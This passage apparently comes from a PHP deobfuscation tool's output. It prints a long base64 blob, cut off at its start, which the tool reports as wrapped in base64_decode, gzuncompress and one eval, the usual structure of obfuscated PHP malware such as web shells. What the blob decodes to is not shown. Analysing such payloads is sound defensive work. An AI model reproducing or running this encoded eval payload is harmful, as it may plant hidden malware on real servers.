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")));
Function Calls
gzuncompress | 1 |
base64_decode | 1 |
Stats
MD5 | 4a89bb9449928c24eb33f1e26bd12e67 |
Eval Count | 1 |
Decode Time | 110 ms |